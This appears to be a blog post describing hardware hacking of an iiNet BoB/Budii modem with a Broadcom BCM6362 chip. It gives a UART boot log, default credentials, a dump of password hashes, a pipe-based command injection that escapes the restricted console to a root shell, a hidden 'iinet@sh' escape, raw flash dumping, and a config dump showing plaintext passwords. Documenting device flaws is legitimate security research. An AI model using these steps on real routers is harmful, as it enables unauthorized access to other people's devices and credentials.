connecting to the uart and booting we can see the modem is running a broadcom firmware
[bootlog.samp]
CFE version 1.0.38-112.118 for BCM96362 (32bit,SP,BE)
Build Date: Fri Dec 6 11:09:42 CST 2013 (root@Ayecom)
Copyright (C) 2000-2011 Broadcom Corporation.
**
Chip ID: BCM6362B0, MIPS: 400MHz, DDR: 333MHz, Bus: 166MHz
**
Total Memory: 134217728 bytes (128MB)
Default host run file name : vmlinux
Default host flash file name : bcm963xx_fs_kernel
[/bootlog.samp]
the user names available to us are:
(user:admin/password:admin)
(user:user/password:user)
upon logging in we are brought into a console(d), the commands available to admin are :
[?.samp]
help logout exit quit reboot adsl
xdslctl xtm brctl cat loglevel logdest
virtualserver ddns df dumpcfg dumpmdm meminfo
psp kill dnsproxy syslog echo ifconfig ping
ps pwd sntp sysinfo tftp voice
wlctl wifidefault arp defaultgateway dhcpserver dns
endbg dac3120_dbg cpld_led lan lanhosts passwd ppp
restoredefault route save swversion cfgupdate swupdate
exitOnIdle wan 7sl factoryrestore factorywifi sysreport
audiotest usbinfo zigbeetest stopzigbee initzigbee
[/?.samp]
The user account is slightly less privileged than the admin.
a quick cat of etc/passwd or var/passwd gives us:
[passwd]
admin:WjGFd46JWxdxE:0:0:Administrator:/:/bin/sh
support:tByR37W8BPs8g:0:0:Technical Support:/:/bin/sh
user:hfO9hSymQzRIQ:0:0:Normal User:/:/bin/sh
nobody:FpbmJjv2tUjNk:0:0:nobody for ftp:/:/bin/sh
iiNetBoB:75xVKjjtU6y5A:0:0:Administrator:/:/bin/sh
[/passwd]
the passwords are all UN=PW expect for iinetbob.(pword unknown)
Ok so bobs pword is supposed to be super long and i don't have it so i need more access, to see the file system..
We use a pipe | on cat or ping really anything will work at this point just that cat is cleaner
so we use :\
>cat | ls -al
Because the second command is not bound to console(d) we can use all of
the busy box/sh/ash command set but after the command we are returned to the console(d)
by inserting a usb into the internal port we can simply cp out the files we need
>cat | cp "/dev/mtd0" "/dev/mtd1" "/dev/mtd2" "/dev/mtd3" > (your drive)
Looking into the console(d) routines and its links to {lib file:libcms_cli}
we find a table of hiddencmds
one of them more interesting than others:
# DATA XREF: .data:cliHiddenCmdTable o
>iinet@sh
this command breaks out of console(d) without killing the supervisors (smd&ssk)
we can always use the cat trick and break into sh but it sometimes fouls the smd control.
the command can be used in both the user account and the admin account so if in theory the routers admin was locked we could use the user account and privesc commands to gain a high level access.
We are still very limited as too how far we can swing inside the commands as the smd and ssk respond to alot of the actions placed across the userland (telnet & ssh)
The config files can be dumped via >dumpmdm or dumpconfig
which will also dump the users and passwords with no encoding/hashes
<SoftwareVersion>Budii1031</SoftwareVersion>
<AdditionalHardwareVersion>BoardId=GGDV711_iiNet</AdditionalHardwareVersion> <X_BROADCOM_COM_LoginCfg>
<AdminUserName>admin</AdminUserName>
<AdminPassword>admin</AdminPassword>
<AdminPasswordHash>(null)</AdminPasswordHash>
<SupportUserName>support</SupportUserName>
<SupportPassword>support</SupportPassword>
<SupportPasswordHash>(null)</SupportPasswordHash>
<UserUserName>user</UserUserName>
<UserPassword>user</UserPassword>
<UserPasswordHash>(null)</UserPasswordHash>
<logintimeout>10</logintimeout>
</X_BROADCOM_COM_LoginCfg>
Till Next Time.
No comments:
Post a Comment